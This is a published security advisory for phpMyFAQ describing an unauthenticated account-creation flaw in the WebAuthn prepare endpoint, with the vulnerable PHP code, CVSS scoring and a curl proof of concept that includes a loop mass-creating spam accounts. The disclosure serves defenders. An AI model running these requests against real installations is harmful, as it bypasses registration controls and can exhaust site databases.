Skip to content

Unauthenticated Account Creation via WebAuthn Prepare Endpoint

High
thorsten published GHSA-w22q-m2fm-x9f4 Feb 27, 2026

Package

composer thorsten/phpmyfaq (Composer)

Affected versions

<= 4.1.0-RC.6

Patched versions

4.0.18

Description

Summary

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, captcha, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {
            $this->user->createUser($username);
            $this->user->setStatus(status: 'active');
            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
            $this->user->setUserData([
                'display_name' => $username,
                'email' => $username,
            ]);

The endpoint:

  1. Accepts any POST request with a JSON username field
  2. If the username doesn't exist, creates a new active user account
  3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
  4. Does NOT check if registration is enabled (security.enableRegistration)
  5. Does NOT verify CSRF tokens
  6. Does NOT require captcha validation
  7. Has no rate limiting

PoC

# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"spam_user_$i"}" &
done

Impact

  • Registration bypass: Accounts created even when self-registration is disabled
  • Username squatting: Reserve usernames before legitimate users
  • Database exhaustion: Create millions of fake active accounts (DoS)
  • User enumeration: Different responses for existing vs new usernames
  • Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE ID

CVE-2026-27836

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits